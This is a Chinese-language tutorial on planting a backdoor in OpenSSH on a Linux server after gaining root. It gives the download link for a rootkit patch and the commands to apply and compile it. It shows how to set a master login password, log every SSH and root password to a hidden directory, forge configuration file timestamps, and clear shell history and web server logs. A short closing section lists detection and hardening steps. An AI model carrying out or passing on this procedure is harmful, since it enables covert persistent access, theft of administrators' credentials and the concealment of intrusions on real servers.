相對于Windows操作系統(tǒng)憋飞,Linux操作系統(tǒng)的密碼較難獲取。而很多Linux服務器都配置了Openssh服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法乍丈,截取并保存其SSH登錄賬號密碼,甚至可以留一個隱形的后門把将,達到長期控制linux服務器的目的轻专。在很多Linux系統(tǒng)被入侵后都會在系統(tǒng)中留后門,使用OpenSSH留后門是入侵者的慣用方式之一察蹲,OpenSSh后門比較難于檢測请垛,本文就如何添加OpenSSH后門以及防范后門添加進行探討。
1.1OpenSSH簡介
OpenSSH是SSH(Secure SHell)協(xié)議的免費開源實現(xiàn)洽议,很多人誤認OpenSSH為與OpenSSL有關聯(lián)宗收,但實際上這兩個計劃的有不同的目的,不同的發(fā)展團隊亚兄,名稱相近只是因為兩者有同樣的軟件發(fā)展目標──提供開放源代碼的加密通訊軟件混稽。OpenSSH是OpenBSD的子計劃其官方網(wǎng)站地址為http://www.openssh.com/,OpenSSH各個版本可以到其官網(wǎng)下載审胚,推薦一個下載地址:http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/OpenSSH/匈勋。SSH協(xié)議族可以用來進行遠程控制,或在計算機之間傳送文件膳叨。而實現(xiàn)此功能的傳統(tǒng)方式洽洁,如telnet(終端仿真協(xié)議)、rcp懒鉴、ftp诡挂、rlogin、rsh都是極為不安全的临谱,并且會使用明文傳送密碼璃俗。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數(shù)據(jù)悉默,并由此來代替原來的類似服務城豁。OpenSSH是使用SSH透過計算機網(wǎng)絡加密通訊的實現(xiàn)。它是取代由SSH Communications Security所提供的商用版本的開放源代碼方案抄课。在OpenSSH服務中sshd是一個典型的獨立守護進程唱星,OpenSSH服務可以通過/etc/ssh/sshd_config文件進行配置。OpenSSH 支持 SSH 協(xié)議的版本 1.3跟磨、1.5间聊、和 2。自從 OpenSSH 的版本2.9以來抵拘,默認的協(xié)議是版本2哎榴。
1.2準備工作
(1)下載openssh-5.9p1.tar.gz參考下載地址:
http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz
(2)下載后門文件http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
(3)Linux虛擬機Centos6.4版本
(4)查看SSH當前版本信息
SSH后門目前網(wǎng)上支持版本為5.9以下,因此如果顯示信息中的版本為5.9以下才能使用,如圖1所示尚蝌,使用“ssh –V”命令獲取的OpenSSH版本為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”迎变。對高于5.9版本未做測試,理論上是可行的飘言,因為在patch中可以直接修改banner衣形。特別需要注意,這個版本號一定要記錄下來姿鸿,在編譯時將該信息進行偽裝谆吴。
(5)備份SSH原始配置文件
如圖2所示,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old般妙。在Linux終端中分別執(zhí)行文件備份命令:
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
(6)解壓ssh后門
將sshbd.tgz下載到本地并解壓到本地纪铺,如圖3所示相速,執(zhí)行以下命令:
tar zxvf sshbd.tgz
cd openssh
使用官方openssh-5.9p1進行安裝后門的可以執(zhí)行以下命令
tar zxf openssh-5.9p1.tar
tar zxf openssh-5.9p1.path.tar
cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff
1.3設置ssh后門的登錄密碼及其密碼記錄位置
在openssh目錄中找到includes.h碟渺,使用“vi includes.h”修改define _SECRET_PASSWD為自己的登錄密碼,如圖4所示突诬,默認密碼記錄日志文件保存在/usr/local/share/0wn目錄下的slog和clog文件苫拍。例如定義密碼為“995430aaa”
define _SECRET_PASSWD " 995430aaa"
1.4安裝并編譯
1.進行編譯和安裝
./configure –prefix=/usr –sysconfdir=/etc/ssh
make && make install
openssh-5.9p1需要用下面這個命令進行配置:
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
在編譯過程中可能會出現(xiàn)“configure: error: *** zlib.h missing – please install first or check config.log”錯誤,可以執(zhí)行“yum install zlib-devel和yum install openssl openssl-devel”安裝后再次編譯即可旺隙。
2.重啟SSHD服務
執(zhí)行“/etc/init.d/sshd restart”命令重啟sshd服務绒极。
3.還原新配置文件為舊配置文件時間
執(zhí)行以下命令,將ssh_config和sshd_config修改時間跟ssh_config.old和sshd_config.old一致蔬捷。
touch -r/etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r/etc/ssh/sshd_config.old /etc/ssh/sshd_config
mtime(modify time):最后一次修改文件或目錄的時間
ctime(chang time) :最后一次改變文件或目錄(改變的是原數(shù)據(jù)即:屬性)的時間
如:記錄該文件的inode節(jié)點被修改的時間垄提。touch命令除了-d和-t選項外都會改變該時間。而且chmod,chown等命令也能改變該值周拐。
atime(access time)::最后一次訪問文件或目錄的時間
ls -l file : 查看文件修改時間
ls -lc file: 查看文件狀態(tài)改動時間
ls -lu file: 查看文件訪問時間
stat file 文件時間三個屬性
1.5登入后門并查看記錄的密碼文件
使用“ssh -l root IP”命令登錄服務器铡俐,例如“ssh -l root 192.168.52.175”登錄,可以使用root的密碼妥粟,也可以使用后門設置的密碼“995430aaa”進行登錄审丘。然后到/usr/local/share/0wn目錄查看其記錄的密碼日志文件clog和slog,如圖5所示勾给,可以看到ssh登錄和本地root帳號登錄的密碼滩报。
1.6 清除日志
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志
1.7OpenSSH后門防范方法
(1)重裝openssh軟件,更新至最新版本7.2
(2)更換ssh默認登錄端口22為其它端口播急。
(3)在iptable中添加ssh訪問策略脓钾。
(4)查看命令歷史記錄,對可疑文件進行清理桩警,在有條件的情況下可训,可重做系統(tǒng)。
(5)修改服務器所有密碼為新的強健密碼。
(6)利用strace找出ssh后門沉噩,首先利用命令“ps aux | grep sshd”獲取可疑進程PID捺宗,使用“strace -o aa -ff -p PID”進行跟蹤,然后登錄ssh川蒙,成功登錄之后蚜厉,在當前目錄,生成了strace的輸出畜眨。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄密碼打開文件昼牛。在上面命令中過濾掉錯誤信息和/dev/null信息,以及denied信息康聂,并且找讀寫模式打開(WR)的贰健,因為要把記錄的密碼寫入文件,肯定要是以寫方式打開的文件恬汁,可以可以找到以讀寫方式記錄在文件中的ssh后門密碼文件位置伶椿,通過該方法來判斷是否存在ssh后門。當然也有不記錄密碼氓侧,而僅僅留一個萬能ssh后門脊另。